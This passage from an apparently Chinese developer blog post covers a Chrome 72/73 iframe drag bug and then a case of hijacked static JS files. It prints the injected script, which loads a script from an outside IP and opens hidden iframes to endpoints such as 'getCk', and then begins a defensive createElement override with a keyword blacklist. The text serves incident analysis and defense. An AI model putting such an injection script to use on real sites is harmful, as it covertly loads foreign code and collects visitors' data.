中覆盖在上面的页面的拖拽放置功能是无法使用的！但把 iframe 隐藏，拖拽功能就可以使用，使用<code>display:none;</code>或者<code>visibility:hidden;</code>都可以，为了性能我用的是<code>visibility:hidden;</code>。</p><p>所以我用的方法是，<strong>当进入这个拖拽布局的页面时，隐藏 iframe，离开这个页面时，再恢复，问题解决</strong>。</p><p>下面是关键代码：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#89DDFF;"> </span><span style="color:#676E95;font-style:italic;">// 隐藏所有iframe</span></span>
<span class="line"><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">_hideFrames</span><span style="color:#A6ACCD;">() </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">   </span><span style="color:#C792EA;">let</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">_frames</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">getElementsByTagName</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">iframe</span><span style="color:#89DDFF;">&#39;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">   </span><span style="color:#89DDFF;">this.</span><span style="color:#A6ACCD;">_frames</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> [</span><span style="color:#89DDFF;">...</span><span style="color:#A6ACCD;">_frames</span><span style="color:#F07178;">]</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">filter</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;font-style:italic;">f</span><span style="color:#F07178;"> </span><span style="color:#C792EA;">=&gt;</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">f</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">style</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">visibility</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">!==</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">hidden</span><span style="color:#89DDFF;">&#39;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">   </span><span style="color:#89DDFF;">this.</span><span style="color:#A6ACCD;">_frames</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">forEach</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;font-style:italic;">f</span><span style="color:#F07178;"> </span><span style="color:#C792EA;">=&gt;</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">     </span><span style="color:#A6ACCD;">f</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">_visibility</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">f</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">style</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">visibility</span></span>
<span class="line"><span style="color:#F07178;">     </span><span style="color:#A6ACCD;">f</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">style</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">visibility</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">hidden</span><span style="color:#89DDFF;">&#39;</span></span>
<span class="line"><span style="color:#F07178;">   </span><span style="color:#89DDFF;">}</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;"> </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;"> </span><span style="color:#676E95;font-style:italic;">// 显示所有iframe</span></span>
<span class="line"><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">_showFrames</span><span style="color:#A6ACCD;">() </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">   </span><span style="color:#89DDFF;">this.</span><span style="color:#A6ACCD;">_frames</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">forEach</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;font-style:italic;">f</span><span style="color:#F07178;"> </span><span style="color:#C792EA;">=&gt;</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">f</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">style</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">visibility</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> (</span><span style="color:#A6ACCD;">f</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">_visibility</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">||</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">visible</span><span style="color:#89DDFF;">&#39;</span><span style="color:#F07178;">))</span></span>
<span class="line"><span style="color:#F07178;"> </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;"> </span><span style="color:#676E95;font-style:italic;">// 是否72、73版本，是这两版本才启用隐藏，其它不影响</span></span>
<span class="line"><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">_isRunIframeHandler</span><span style="color:#A6ACCD;">() </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#C792EA;">let</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">chromeVersion</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#C3E88D;"> </span><span style="color:#89DDFF;">/</span><span style="color:#C3E88D;">Chrome</span><span style="color:#A6ACCD;">\/</span><span style="color:#89DDFF;">(</span><span style="color:#C3E88D;">\d</span><span style="color:#89DDFF;">{2})/</span><span style="color:#F78C6C;">g</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">exec</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">navigator</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">userAgent</span><span style="color:#F07178;">)[</span><span style="color:#F78C6C;">1</span><span style="color:#F07178;">]</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#F07178;"> (</span><span style="color:#A6ACCD;">chromeVersion</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&amp;&amp;</span><span style="color:#F07178;"> [</span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">72</span><span style="color:#89DDFF;">&#39;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">73</span><span style="color:#89DDFF;">&#39;</span><span style="color:#F07178;">]</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">includes</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">chromeVersion</span><span style="color:#F07178;">)) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;font-style:italic;">return</span><span style="color:#F07178;"> </span><span style="color:#FF9CAC;">true</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#89DDFF;font-style:italic;">return</span><span style="color:#F07178;"> </span><span style="color:#FF9CAC;">false</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"></span></code></pre></div><p>最后我上 google 查<code>drop chrome 73 in iframe</code>相关的问题，确实是 chrome72、73 的 bug，后面版本已经修复。</p><h5 id="总结" tabindex="-1">总结 <a class="header-anchor" href="#总结" aria-hidden="true">#</a></h5><p>这个问题是特定情形下的问题，一般不是那么容易遇到，chrome 是有记录的，<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=936299#c19%E3%80%82" target="_blank" rel="noreferrer">https://bugs.chromium.org/p/chromium/issues/detail?id=936299#c19。</a></p><p>最后，通过这个解决过程，我知道，让查找问题的测试环境干净是非常重要的，然后通过排除法找到触发问题的根源，解决就很快了，最担心的是不知道什么原因引起的。</p><h4 id="js-和-css-等静态资源被劫持问题" tabindex="-1">js 和 css 等静态资源被劫持问题 <a class="header-anchor" href="#js-和-css-等静态资源被劫持问题" aria-hidden="true">#</a></h4><h5 id="遇到什么问题-1" tabindex="-1">遇到什么问题 <a class="header-anchor" href="#遇到什么问题-1" aria-hidden="true">#</a></h5><p>这个发生的比较早了，我们的项目部署一个地方后，经测试和项目经理反映，在访问我们的页面时，偶尔会出现页面加载失败的情况，这个失败页面逻辑是我写的，当 js 资源加载失败时，以提示页面加载失败。并且网站很慢，标签页一直转圈。</p><p>去现场查找问题，在控制台中发现，有三个不是我们项目发起的资源请求，发起请求的 js 文件是我们项目的一个 js 文件，如下： <img src="/assets/hijack.65fefd6e.jpg" alt=""></p><p>查看这个 js 文件内容，发现里面的代码明显不是我们的，它不到一百行，是被篡改了，如下：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#676E95;font-style:italic;">// xxx_map_config.js</span></span>
<span class="line"><span style="color:#C792EA;">var</span><span style="color:#A6ACCD;"> n_t </span><span style="color:#89DDFF;">=</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">new</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">Date</span><span style="color:#A6ACCD;">()</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">getTime</span><span style="color:#A6ACCD;">()</span></span>
<span class="line"><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#A6ACCD;"> (document</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">body) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">s</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">createElement</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">script</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">s</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">type</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">text/javascript</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">s</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">src</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">/tgram-pgisbase/config/xxx_map_config.js?_=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">+</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">n_t</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">getElementsByTagName</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">head</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)[</span><span style="color:#F78C6C;">0</span><span style="color:#F07178;">]</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">appendChild</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">s</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#89DDFF;">}</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;font-style:italic;">else</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">write</span><span style="color:#F07178;">(</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">&lt;script src=&quot;/tgram-pgisbase/config/xxx_map_config.js?n=</span><span style="color:#89DDFF;">&#39;</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">+</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#A6ACCD;">n_t</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">+</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;">&#39;</span><span style="color:#C3E88D;">&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</span><span style="color:#89DDFF;">&#39;</span></span>
<span class="line"><span style="color:#F07178;">  )</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">load_js</span><span style="color:#89DDFF;">()</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">h</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">getElementsByTagName</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">head</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)[</span><span style="color:#F78C6C;">0</span><span style="color:#F07178;">]</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#F07178;"> (</span><span style="color:#A6ACCD;">h</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">js1</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">createElement</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">script</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">js1</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">src</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://10.227.255.133:6001/extInfo?nowtime=1567568650033&amp;ip=42.121.52.151&amp;aIp=10.118.128.188&amp;aPort=7777&amp;f=&amp;r=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">+</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#A6ACCD;">n_t</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">h</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">appendChild</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">js1</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;font-style:italic;">else</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#82AAFF;">setTimeout</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">load_js</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#F78C6C;">100</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#82AAFF;">load_js</span><span style="color:#A6ACCD;">()</span></span>
<span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">load_im</span><span style="color:#89DDFF;">()</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">b</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">body</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#F07178;"> (</span><span style="color:#A6ACCD;">b</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">im1</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">createElement</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">iframe</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">b</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">appendChild</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">im1</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">im1</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">style</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">display</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">none</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">im1</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">src</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://10.227.255.133:6001/nwInfo?nowtime=1567568650033&amp;typeId=3&amp;r=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">+</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#A6ACCD;">n_t</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">im2</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">createElement</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">iframe</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">b</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">appendChild</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">im2</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">im2</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">style</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">display</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">none</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">im2</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">src</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://baidu.com:6001/getCk?nowtime=1567568650033&amp;r=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">+</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">n_t</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;font-style:italic;">else</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#82AAFF;">setTimeout</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">load_im</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#F78C6C;">100</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#82AAFF;">load_im</span><span style="color:#A6ACCD;">()</span></span>
<span class="line"></span></code></pre></div><p>看它逻辑，这个被篡改后的脚本，把我们自身的 js 又创建了一个请求，另外又加载了一个 js 和两个 iframe，竟然还有 <a href="http://baidu.com" target="_blank" rel="noreferrer">baidu.com</a>。我试着访问了下这几个链接，不通。</p><p>另外这个被劫持问题是偶尔出现的，我还发现，如果你频繁刷新，那么这段时间都不会出现，但是你过几分钟，再访问页面，大概率出现劫持，并且劫持的文件随机，任何一个 js 都有可能。</p><p>因为这些第三方资源在我们网络环境是不通的，导致一直卡在那里直到超时！</p><h5 id="继续查找问题-1" tabindex="-1">继续查找问题 <a class="header-anchor" href="#继续查找问题-1" aria-hidden="true">#</a></h5><p>最开始，我怀疑是不是我们用的某些库里面有隐藏代码，经过我搜索以及检查和线上一致的测试环境，都没有相关问题和线索。</p><p>我还怀疑，是不是我们服务器中毒了，这个需要运维协助。</p><p>还有可能是网络环境中某个路由器中了广告病毒，篡改资源文件分发广告。</p><p>等等各种可能...，但是在这些怀疑确认之前，我们能在前端缓解这个问题吗？</p><h5 id="解决问题-1" tabindex="-1">解决问题 <a class="header-anchor" href="#解决问题-1" aria-hidden="true">#</a></h5><p>分析这个劫持文件代码，我发现，不管是加载 js 还是 iframe，都使用<code>document.createElement</code>来创建。</p><p>此时我想到一个办法，篡改<code>document.createElement</code>方法，并判断<code>src</code>值是否是劫持相关的资源，是就干掉，不是则放过。</p><p>那么我们在哪里写这一段逻辑呢？这段逻辑必须要在它执行前启用，经过分析，它劫持的都是我们通过<code>&lt;script&gt;</code>标签等方式加载外部 js 中的某一个，我们可以在<code>index.html</code>文件的<code>&lt;head&gt;&lt;script&gt;&lt;/script&gt;&lt;/head&gt;</code>中写下这段代码：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#676E95;font-style:italic;">// 反劫持</span></span>
<span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">_removeHijack</span><span style="color:#89DDFF;">()</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#89DDFF;">  </span><span style="color:#676E95;font-style:italic;">// 要过滤的关键字</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">blackList</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> [</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">extInfo</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">nwInfo</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">getCk</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">addInternetInfo</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">]</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#F07178;"> (</span><span style="color:#A6ACCD;">document</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&amp;&amp;</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">createElement</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">_createElement</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">createElement</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">createElement</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#C792EA;">function</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">ele</span><span style="color:#89DDFF;">)</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">obj</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">_createElement</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">call</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">this,</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">ele</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#A6ACCD;">Object</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">defineProperty</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">obj</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">src</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">        configurable</span><span style="color:#89DDFF;">:</span><span style="color:#F07178;"> </span><span style="color:#FF9CAC;">true</span><span style="color:#89DDFF;">,</span></span>
<span class="line"><span style="color:#F07178;">        enumerable</span><span style="color:#89DDFF;">:</span><span style="color:#F07178;"> </span><span style="color:#FF9CAC;">false</span><span style="color:#89DDFF;">,</span></span>
<span class="line"><span style="color:#F07178;">        </span><span style="color:#82AAFF;">set</span><span style="color:#89DDFF;">:</span><span style="color:#F07178;"> </span><span style="color:#C792EA;">function</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">value</span><span style="color:#89DDFF;">)</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">          </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">block</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#FF9CAC;">false</span></span>
<span class="line"><span style="color:#F07178;">          </span><span style="color:#89DDFF;font-style:italic;">for</span><span style="color:#F07178;"> (</span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">i</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#F78C6C;">0</span><span style="color:#89DDFF;">;</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">i</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&lt;</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">blackList</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">length</span><span style="color:#89DDFF;">;</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">i</span><span style="color:#89DDFF;">++</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">            </span><span style="color:#C792EA;">var</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">keyword</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">blackList</span><span style="color:#F07178;">[</span><span style="color:#A6ACCD;">i</span><span style="color:#F07178;">]</span></span>
